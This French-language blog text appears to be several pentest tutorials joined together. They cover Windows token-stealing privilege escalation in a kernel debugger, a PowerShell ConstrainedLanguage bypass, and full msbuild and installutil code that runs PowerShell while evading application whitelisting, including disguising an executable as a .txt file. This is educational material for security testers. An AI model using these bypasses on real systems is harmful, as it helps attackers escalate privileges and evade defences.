Avant d’entamer une série d’articles sur les privilèges sous Windows, on va commencer par une démo, un classique vieux de plus de 10 ans mais qui fait toujours son effet.
La démo consiste à lancer une invite de commandes en tant que simple utilisateur puis à remplacer en mémoire son Access Token (il contient entre autre la liste de ses privilèges) par celui d’un processus à haut privilèges.
Cette technique est encore largement utilisée pour de l’élévation de privilèges notamment au travers de drivers vulnérables à de l’écriture arbitraire.
La démo repose sur 2 Virtual Machines, l’une étant un Windows avec un debugger Windbg en mode Kernel et l’autre étant un Windows où tourne un invite de commandes (cmd.exe).
Je ne vais pas détailler la mise en oeuvre de cette plateforme de démo car elle est facile à trouver sur le Net.
Contexte mémoire : les 2 VMs sont démarrées et on a lancé un cmd.exe sur la VM debuggee en mode simple utilisateur. Comme attendu, on ne dispose que des privilèges standard :
Côté VM debugger, sous Windbg, on commence par lister tous les processus avec la commande !dml_proc. On y trouve entre autre le processus System à haut privilèges et le processus à faible privilèges cmd.exe.
On voit que le processus System est à l’adresse mémoire 842be020 mais ce qui nous intéresse est l’adresse mémoire de son Token.
Pour y accéder, il faut d’abord connaître la structure mémoire d’un processus avec la commande dt nt!_EPROCESS :
On voit que l’adresse mémoire du Token est à l’offset 0x0f8. Cette adresse est un pointeur un peu particulier car les 3 derniers bits ne sont pas utilisés pour le calcul de l’adresse, comme le montre la commande dt nt!_EX_FAST_REF (il s’agit de la structure d’un union en C) :
La vraie adresse du Token est en fait la valeur affichée par « Value » à laquelle on masque les 3 derniers bits (certaines structures de données Kernel ont un alignement particulier et Windows utilise les bits non utilisés par ces pointeurs…).
On commence donc par récupérer la valeur à l’offset 0x0f8 du processus System, soit 0x890014a7 :
Comme on l’a vu il faut masquer les 3 derniers bits ce qui donne 0x890014a0.
Cette adresse 0x890014a0 est l’adresse mémoire du Token du processus System. C’est cette adresse qu’on mettra dans l’espace mémoire du processus cible cmd.exe au niveau de son Token.
Maintenant intéressons-nous justement au processus cible, cmd.exe.
On récupère son RefCnt, c’est en fait la valeur des 3 derniers bits du pointeur Token, ici on obtient 001:
Il faut maintenant fusionner la valeur 0x890014a0 avec le RefCnt du processus cmd.exe, ce qui donne 0x890014a1 (on a simplement fait un OR).
Maintenant il n’y a plus qu’à remplacer le pointeur du Token dans le processus cible cmd.exe avec la command ed <adresse> <valeur>.
L’adresse qu’on veut modifier est l’adresse mémoire du processus cmd.exe, 0x85bb4450 à laquelle on ajoute l’offset 0xf8 pour atteindre le Token.
On enlève le break, en continuant (g), et on va sur la VM debugger. Là on retourne sur la fenêtre de l’invite de commandes qui n’oublions pas a été lancée en tant que simple utilisateur.
Et voila, on est bien Local System avec un max de privilèges.
Lors d’un pentest il arrive de plus en plus fréquemment de rencontrer des difficultés à exécuter des scripts Powershell car celui-ci bien que présent est configuré en mode « ConstrainedLanguage ». Pour le vérifier :
Il y a forcément plusieurs façons d’arriver au mode « FullLanguage » mais en voici une qui fonctionne quasi systématiquement. La seule condition est d’avoir le droit d’écriture et d’exécution dans un répertoire (sans être bloqué par AppLocker par exemple).
L’astuce consiste à lancer l’exécutable powershell.exe en lui passant en variable d’environnement un TEMP accessible justement en écriture et exécution. Habituellement le répertoire C:\Windows\Tasks fait l’affaire.
Lors d’un audit ou un pentest il peut vous arriver de tomber sur une configuration Windows où l’exécutable powershell.exe est blacklisté ou bien supprimé du système.
Dans ce cas, peut-on quand même exécuter des scripts écrit en powershell ? La réponse est oui.
Il se trouve que le framework .Net, très largement présent, fournit des moyens simples pour appeler des scripts powershell depuis la librairie System.Management.Automation.
En plus, comme pour nous aider, Microsoft fournit avec le framework .Net tout ce qu’il faut pour compiler des programmes. On trouve le compilateur pour le language C# à cet endroit :
En sortie nous avons donc maintenant un nouvel exécutable, powerless.exe, capable de lancer des scripts powershell, testons-le.
Un petit script test.ps1 :
echo "Hello from powershell-less" echo "PID: $pid"
Et voila, il n’y a plus qu’à lancer l’exécution :
Autre technique, on utilise des exécutables présent dans le système, si possible signés par Microsoft, pour lancer les scripts Powershell.
Commençons par une astuce qui consiste à abuser de l’exécutable msbuild (l’équivalent du make Linux pour Windows). On trouve msbuild.exe à cet endroit :
Msbuild prend en entrée des projets ayant pour extension .csproj pour les programmes C#.
Ces projets ne sont en fait que des fichiers XML décrivant une liste de tâches à effectuer. Là où cela devient vraiment intéressant c’est que Microsoft autorise le lancement de scripts à l’intérieur même du projet ! Quoi de mieux que pour en profiter pour y insérer le fameux powerless écrit en C# vu précédemment.Voici un exemple de projet test.csproj incluant un interpréteur Powershell complet :
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<Target Name="Hello">
<FragmentExample />
<ClassExample />
</Target>
<UsingTask
TaskName="FragmentExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<ParameterGroup/>
<Task>
<Using Namespace="System" />
<Using Namespace="System.IO" />
<Code Type="Fragment" Language="cs">
<![CDATA[
Console.WriteLine("Hello From Fragment");
]]>
</Code>
</Task>
</UsingTask>
<UsingTask
TaskName="ClassExample"
TaskFactory="CodeTaskFactory"
AssemblyFile="C:\Windows\Microsoft.Net\Framework\v4.0.30319\Microsoft.Build.Tasks.v4.0.dll" >
<Task>
<Reference Include="System.Management.Automation" />
<Code Type="Class" Language="cs">
<![CDATA[
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Text;
using Microsoft.Build.Framework;
using Microsoft.Build.Utilities;
public class ClassExample : Task, ITask
{
public override bool Execute()
{
while(true)
{
Console.Write("PS >");
string x = Console.ReadLine();
try
{
Console.WriteLine(RunPSCommand(x));
}
catch (Exception e)
{
Console.WriteLine(e.Message);
}
}
return true;
}
//Based on Jared Atkinson's And Justin Warner's Work
public static string RunPSCommand(string cmd)
{
//Init stuff
Runspace runspace = RunspaceFactory.CreateRunspace();
runspace.Open();
RunspaceInvoke scriptInvoker = new RunspaceInvoke(runspace);
Pipeline pipeline = runspace.CreatePipeline();
//Add commands
pipeline.Commands.AddScript(cmd);
//Prep PS for string output and invoke
pipeline.Commands.Add("Out-String");
Collection<PSObject> results = pipeline.Invoke();
runspace.Close();
//Convert records to strings
StringBuilder stringBuilder = new StringBuilder();
foreach (PSObject obj in results)
{
stringBuilder.Append(obj);
}
return stringBuilder.ToString().Trim();
}
public static void RunPSFile(string script)
{
PowerShell ps = PowerShell.Create();
ps.AddScript(script).Invoke();
}
}
]]>
</Code>
</Task>
</UsingTask>
</Project>
Il n’y a plus qu’à lancer msbuild.exe en passant en paramètre le projet que nous venons de créer :
msbuild test.csproj
Nous voilà dans un interpréteur Powershell fait maison !
Même technique mais avec un autre exécutable de Microsoft, cette fois avec le programme installutil.exe.
Ce programme sert habituellement à enregistrer / désenregister des services .Net d’un programme. L’astuce consiste à écrire un programme qui implémente la méthode Uninstall de façon à être appelé par le programme installutil.exe.
Reprenons le programme powerless.cs vu au tout début et ajoutons lui simplement la méthode Uninstall dans laquelle nous appelons l’interpréteur powershell maison. Le code du programe powerlesstxt.cs est le suivant :
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Runtime.InteropServices;
using System.IO;
using System;
using System.Text;
using System.Configuration.Install;
namespace PSLess
{
[System.ComponentModel.RunInstaller(true)]
public class InstallUtil : System.Configuration.Install.Installer
{
public override void Uninstall(System.Collections.IDictionary savedState)
{
string[] args= {this.Context.Parameters["ScriptName"]};
PSLess.Main(args);
}
}
class PSLess
{
public static void Main(string[] args)
{
if (args.Length == 0)
Environment.Exit(1);
string script = LoadScript(args[0]);
string s = RunScript(script);
Console.WriteLine(s);
}
private static string LoadScript(string filename)
{
string buffer = "";
try
{
buffer = File.ReadAllText(filename);
}
catch (Exception e)
{
Console.WriteLine(e.Message);
Environment.Exit(2);
}
return buffer;
}
private static string RunScript(string script)
{
Runspace MyRunspace = RunspaceFactory.CreateRunspace();
MyRunspace.Open();
Pipeline MyPipeline = MyRunspace.CreatePipeline();
MyPipeline.Commands.AddScript(script);
MyPipeline.Commands.Add("Out-String");
Collection<PSObject> outputs = MyPipeline.Invoke();
MyRunspace.Close();
StringBuilder sb = new StringBuilder();
foreach (PSObject pobject in outputs)
{
sb.AppendLine(pobject.ToString());
}
return sb.ToString();
}
}
}
Il faut maintenant compiler ce programme C# avec cscs.exe, avec en prime un changement d’extension pour faire croire qu’il s’agit d’un fichier texte, en sortie nous avons le fichier powerless.txt :